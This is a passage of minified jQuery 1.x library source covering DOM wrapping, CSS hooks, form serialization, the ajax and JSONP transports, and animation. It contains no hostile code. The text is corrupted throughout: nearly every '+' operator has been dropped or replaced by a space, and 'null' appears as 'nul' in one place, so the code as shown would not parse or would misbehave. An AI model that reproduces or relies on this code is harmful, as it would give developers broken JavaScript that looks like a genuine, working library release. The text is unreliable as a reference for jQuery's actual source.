n,r,o,a,s=0,l=x.expando,u=x.cache,c=x.support.deleteExpando,f=x.event.special;for(;null!=(n=e[s]);s  ){if((t||x.acceptData(n))&&(o=n[l],a=o&&u[o])){if(a.events){for(r in a.events){f[r]?x.event.remove(n,r):x.removeEvent(n,r,a.handle)}}u[o]&&(delete u[o],c?delete n[l]:typeof n.removeAttribute!==i?n.removeAttribute(l):n[l]=nul,p.push(o))}}},_evalUrl:function(e){return x.ajax({url:e,type:"GET",dataType:"script",async:!1,global:!1,"throws":!0})}}),x.fn.extend({wrapAll:function(e){if(x.isFunction(e)){return this.each(function(t){x(this).wrapAll(e.call(this,t))})}if(this[0]){var t=x(e,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstChild&&1===e.firstChild.nodeType){e=e.firstChild}return e}).append(this)}return this},wrapInner:function(e){return x.isFunction(e)?this.each(function(t){x(this).wrapInner(e.call(this,t))}):this.each(function(){var t=x(this),n=t.contents();n.length?n.wrapAll(e):t.append(e)})},wrap:function(e){var t=x.isFunction(e);return this.each(function(n){x(this).wrapAll(t?e.call(this,n):e)})},unwrap:function(){return this.parent().each(function(){x.nodeName(this,"body")||x(this).replaceWith(this.childNodes)}).end()}});var Pt,Rt,Wt,$t=/alpha\([^)]*\)/i,It=/opacity\s*=\s*([^)]*)/,zt=/^(top|right|bottom|left)$/,Xt=/^(none|table(?!-c[ea]). )/,Ut=/^margin/,Vt=RegExp("^(" w ")(.*)$","i"),Yt=RegExp("^(" w ")(?!px)[a-z%] $","i"),Jt=RegExp("^([ -])=(" w ")","i"),Gt={BODY:"block"},Qt={position:"absolute",visibility:"hidden",display:"block"},Kt={letterSpacing:0,fontWeight:400},Zt=["Top","Right","Bottom","Left"],en=["Webkit","O","Moz","ms"];function tn(e,t){if(t in e){return t}var n=t.charAt(0).toUpperCase() t.slice(1),r=t,i=en.length;while(i--){if(t=en[i] n,t in e){return t}}return r}function nn(e,t){return e=t||e,"none"===x.css(e,"display")||!x.contains(e.ownerDocument,e)}function rn(e,t){var n,r,i,o=[],a=0,s=e.length;for(;s>a;a  ){r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))))}for(a=0;s>a;a  ){r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"))}return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s  ){a[n[s]]=x.css(e,n[s],!1,o)}return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t){return s&&"get" in s&&(o=s.get(e,!1,i))!==t?o:u[n]}if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1] 1)*o[2] parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r ="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set" in s&&(r=s.set(e,r,i))===t))){try{u[n]=r}catch(c){}}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get" in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft "px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0)) (r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o =2){"margin"===n&&(a =x.css(e,n Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding" Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border" Zt[o] "Width",!0,i))):(a =x.css(e,"padding" Zt[o],!0,i),"padding"!==n&&(a =x.css(e,"border" Zt[o] "Width",!0,i)))}return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i)){return i}r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i an(e,t,n||(a?"border":"content"),r,o) "px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("<iframe frameborder='0' width='0' height='0'/>").css("cssText","display:block !important")).appendTo(t.documentElement),t=(Pt[0].contentWindow||Pt[0].contentDocument).document,t.write("<!doctype html><html><body>"),t.close(),n=un(e,t),Pt.detach()),Gt[e]=n),n}function un(e,t){var n=x(t.createElement(e)).appendTo(t.body),r=x.css(n[0],"display");return n.remove(),r}x.each(["height","width"],function(e,n){x.cssHooks[n]={get:function(e,r,i){return r?0===e.offsetWidth&&Xt.test(x.css(e,"display"))?x.swap(e,Qt,function(){return sn(e,n,i)}):sn(e,n,i):t},set:function(e,t,r){var i=r&&Rt(e);return on(e,t,r?an(e,n,r,x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,i),i):0)}}}),x.support.opacity||(x.cssHooks.opacity={get:function(e,t){return It.test((t&&e.currentStyle?e.currentStyle.filter:e.style.filter)||"")?0.01*parseFloat(RegExp.$1) "":t?"1":""},set:function(e,t){var n=e.style,r=e.currentStyle,i=x.isNumeric(t)?"alpha(opacity=" 100*t ")":"",o=r&&r.filter||n.filter||"";n.zoom=1,(t>=1||""===t)&&""===x.trim(o.replace($t,""))&&n.removeAttribute&&(n.removeAttribute("filter"),""===t||r&&!r.filter)||(n.filter=$t.test(o)?o.replace($t,i):o " " i)}}),x(function(){x.support.reliableMarginRight||(x.cssHooks.marginRight={get:function(e,n){return n?x.swap(e,{display:"inline-block"},Wt,[e,"marginRight"]):t}}),!x.support.pixelPosition&&x.fn.position&&x.each(["top","left"],function(e,n){x.cssHooks[n]={get:function(e,r){return r?(r=Wt(e,n),Yt.test(r)?x(e).position()[n] "px":r):t}}})}),x.expr&&x.expr.filters&&(x.expr.filters.hidden=function(e){return 0>=e.offsetWidth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return !x.expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r  ){i[e Zt[r] t]=o[r]||o[r-2]||o[0]}return i}},Ut.test(e)||(x.cssHooks[e t].set=on)});var cn=/ /g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e) "=" encodeURIComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e)){x.each(e,function(){o(this.name,this.value)})}else{for(r in e){gn(r,e[r],n,o)}}return i.join("&").replace(cn," ")};function gn(e,t,n,r){var i;if(x.isArray(t)){x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e "[" ("object"==typeof i?t:"") "]",i,n,r)})}else{if(n||"object"!==x.type(t)){r(e,t)}else{for(i in t){gn(e "[" i "]",t[i],n,r)}}}}x.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|. -extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w. -] :)(?:\/\/([^\/?#:]*)(?::(\d )|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n)){while(r=o[i  ]){" "===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n){n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i])}return r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn){return Sn.apply(this,arguments)}var i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=Tn.exec(a)){c[t[1].toLowerCase()]=t[2]}}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if(e){if(2>b){for(t in e){m[t]=[m[t],e[t]]}}else{C.always(e[C.status])}}return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn) "").replace(xn,"").replace(kn,mn[1] "//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)),qn(An,p,n,C),2===b){return C}l=p.global,l&&0===x.active  &&x.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url =(bn.test(o)?"&":"?") p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_=" vn  ):o (bn.test(o)?"&":"?") "_=" vn  )),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]] ("*"!==p.dataTypes[0]?", " Dn "; q=0.01":""):p.accepts["*"]);for(i in p.headers){C.setRequestHeader(i,p.headers[i])}if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b)){return C.abort()}w="abort";for(i in {success:1,error:1,complete:1}){C[i](p[i])}if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b)){throw N}k(-1,N)}}else{k(-1,"No Transport")}function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N) "",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while("*"===u[0]){u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"))}if(o){for(s in l){if(l[s]&&l[s].test(o)){u.unshift(s);break}}}if(u[0] in r){a=u[0]}else{for(s in r){if(!u[0]||e.converters[s " " u[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1]){for(a in e.converters){u[a.toLowerCase()]=e.converters[a]}}o=c.shift();while(o){if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift()){if("*"===o){o=l}else{if("*"!==l&&l!==o){if(a=u[l " " o]||u["* " o],!a){for(i in u){if(s=i.split(" "),s[1]===o&&(a=u[l " " s[0]]||u["* " s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}}}if(a!==!0){if(a&&e["throws"]){t=a(t)}else{try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No conversion from " l " to " o}}}}}}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando "_" vn  ;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1" o):n.jsonp!==!1&&(n.url =(bn.test(n.url)?"&":"?") n.jsonp "=" o),n.converters["script json"]=function(){return s||x.error(o " was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn){Pn[e](t,!0)}};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return !this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials" in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields){for(s in n.xhrFields){l[s]=n.xhrFields[s]}}n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i){l.setRequestHeader(s,i[s])}}catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState)){if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i){4!==l.readyState&&l.abort()}else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}}catch(d){i||o(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=  Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([ -])=|)(" w ")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber[e]||"px"!==o&& r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a= r||1;do{s=s||".5",a/=s,x.style(n.elem,e,a o)}while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start= a|| r||0,n.unit=o,n.end=i[1]?a (i[1] 1)*i[2]: i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o  ){if(r=i[o].call(n,t,e)){return r}}}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i){return !1}var t=Xn||Kn(),n=Math.max(0,u.startTime u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;for(;l>a;a  ){u.tweens[a].run(o)}return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i){return this}for(i=!0;r>n;n  ){u.tweens[n].run(1)}return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr(c,u.opts.specialEasing);a>o;o  ){if(r=Gn[o].call(u,e,c,u.opts)){return r}}return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t){var n,r,i,o,a;for(n in e){if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"expand" in a){o=a.expand(o),delete e[r];for(n in o){n in e||(e[n]=o[n],t[n]=i)}}else{t[r]=i}}}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r  ){n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)}},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued  ,u.always(function(){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height" in t||"width" in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show")){continue}c[r]=d&&d[r]||x.style(e,r)}}if(!x.isEmptyObject(c)){d?"hidden" in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c){x.style(e,t,c[t])}});for(r in c){a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e "queueHooks",o=x.timers,a=x._data(this);if(n){a[n]&&a[n].stop&&i(a[n])}else{for(n in a){a[n]&&a[n].stop&&Jn.test(n)&&i(a[n])}}for(n=o.length;n--;){o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1))}(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e "queue"],i=n[e "queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;){o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1))}for(t=0;a>t;t  ){r[t]&&r[t].finish&&r[t].finish.call(this)}delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i =2-t){n=Zt[i],r["margin" n]=r["padding" n]=e}return t&&(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof 